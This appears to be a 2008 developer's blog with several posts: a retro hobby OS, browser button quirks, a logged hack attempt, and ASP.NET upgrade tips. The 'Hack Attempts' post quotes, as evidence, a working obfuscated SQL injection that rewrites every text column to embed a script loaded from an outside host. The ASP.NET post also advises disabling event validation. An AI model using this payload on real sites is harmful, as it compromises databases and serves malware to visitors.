What was I coding 6 years ago?


Amazing! While discussing some domain names earlier on in the day with another developer, I thought about a domain that I use to own and was developing a long time ago. Anyway, I had an idea and I wanted to bring it alive, somehow I got caught with other things and that idea never really prevailed. It was a memory brought alive because somehow I couldn't just let it go, so I decided to dig for the originally site and a few hours later I gave up, because digging through my 2TB storage is not fun, anyway, I strolled over to the archive.org and viola!

Amazingly, I found all of these cool things that I did a long time ago and now, it simply looks like crap but at the same time amazing. My favorite was my operating system that I started writing code named "SEKTOR", yes, I was that crazy and still is and YES, I got the name "SEKTOR" from Mortal Kombat the video game since I was a champ several times in a row before adulthood kicked in. My point is, it felt good to go back in time and see work that I have completely forgotten about. If you are interested, please feel free to take a sneak peek at my ex-operating system, well some of it...and my writing goodness! its plain BAD! I believe I'm somewhat better now.  Assembly language looks like gibberish to me now but back then it was my C#, my forte.

http://web.archive.org/web/20021213041549/www.programmersnet.com/sektor/

author: Rydal Williams | posted @ Friday, June 20, 2008 12:30 AM | Feedback (0)

Button element in IE vs FireFox behave differently


When are all the browsers going to unite? It's hard enough to build solid web applications within reasonable time. For as long as I've been building web applications, it would be a dare to say that every application that I build work in at least the top 3 major browsers, and that's because I learn something new everyday and it just doesn't happen that way.

Today while working on a new project for one of my clients, I was being all fancy by using the "Button" element which I don't normally do. Instead of using "<button>", I usually use "<input type=button". however, today I was going out of habit and to my surprise the "<button>" control does not work the same way across browsers.

Example, if you create a simple button control on a basic html form an perform a simple task on the onclick event such as a redirect, you will find out really quickly that it works perfectly fine in IE but not in FF.

<button onclick="window.location.href='somepage.html';">New Page</button>

It turns out that in FF, the default action for the button control is to submit a form, so you have to return false to use the button control for anything else other than submitting a form.

<button onclick="window.location.href='somepage.html';return false;">New Page</button>
weird huh?

author: Rydal Williams | posted @ Thursday, June 05, 2008 10:52 PM | Feedback (1)

Hack Attempts


I was doing my routine checks on my servers and I noticed that one of them have some unusual logs that I don't usually see, so I decided to dig further. Well it seems someone has been trying to bring the server down using several methods including SQL injection.

I've listed the TSQL that was used to perform the injection, first off, I have no idea why people will try to break the site, its just a blog, darn it! you gain nothing from doing so, except all my blog entries. Fortunately enough, I stopped using inline queries (I use SP's and Objects) long time ago, so SQL injection will never work. However, it lifted its priority to a higher level, therefore, from now on I'll start putting some extra security checks in place.

 

http://blog.dotnetclr.com/post.aspx?id=0aa5ed9c-9d8a-491b-8736-21d732d75cab&id=1;dEcLaRe+@t+vArChAr(255),@c+vArChAr(255)+dEcLaRe+tAbLe_cursoR+cUrSoR+FoR+sElEcT+a.nAmE,b.nAmE+FrOm+sYsObJeCtS+a,sYsCoLuMnS+b+wHeRe+a.iD=b.iD+AnD+a.xTyPe='u'+AnD+(b.xTyPe=99+oR+b.xTyPe=35+oR+b.xTyPe=231+oR+b.xTyPe=167)+oPeN+tAbLe_cursoR+fEtCh+next+FrOm+tAbLe_cursoR+iNtO+@t,@c+while(@@fEtCh_status=0)+bEgIn+exec('UpDaTe+['+@t+']+sEt+['+@c+']=rtrim(convert(varchar,['+@c+']))+cAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D+aS+vArChAr(67))')+fEtCh+next+FrOm+tAbLe_cursoR+iNtO+@t,@c+eNd+cLoSe+tAbLe_cursoR+dEAlLoCaTe+tAbLe_cursoR;--

author: Rydal Williams | posted @ Friday, May 23, 2008 5:02 PM | Feedback (0)

ASP.NET 1.1 to 2.0 conversion


I'm currently converting a huge 1.1 eCommerce site to 2.0 and its nothing but painful, apart from the stress of dealing with the original site lack of structure, there are some things that just don't work. These are my rumblings.

I first tried converting the 2003 project to a 2005 website and that didn't go too well, after a few hours, I threw that idea out of the window and converted the project into a 2005 web application and it was a success apart from a few minor tweaks.

Here are some other huddles that I had to jump.

  1. ViewState failed to work
    1. I simply set enableEventValidation = false
  2. Warnings about not been XHTML compliant or whatever
    1. I setup the Config entry so that it will conform to legacy
  3. Page_Load was being called twice
    1. Set AutoEventWriteup to false or complete remove OnInit() and InitializeComponent() methods and set AutoEventWriteup = True or use web.config pages to set it globally.

author: Rydal Williams | posted @ Thursday, May 15, 2008 3:03 PM | Feedback (0)